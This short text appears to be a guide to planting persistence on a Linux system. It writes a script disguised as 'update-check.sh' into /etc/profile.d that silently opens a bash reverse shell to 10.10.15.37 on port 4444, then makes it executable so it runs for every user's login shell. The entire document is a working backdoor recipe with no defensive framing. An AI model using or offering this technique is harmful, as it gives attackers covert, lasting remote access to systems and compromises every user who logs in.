System-wide profile files affect multiple users and usually require root privileges to modify.
Create a profile script:
cat > /etc/profile.d/update-check.sh << 'EOF'
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1' &
EOF
Make it executable:
chmod +x /etc/profile.d/update-check.sh
The command will execute when users start login shells that process /etc/profile.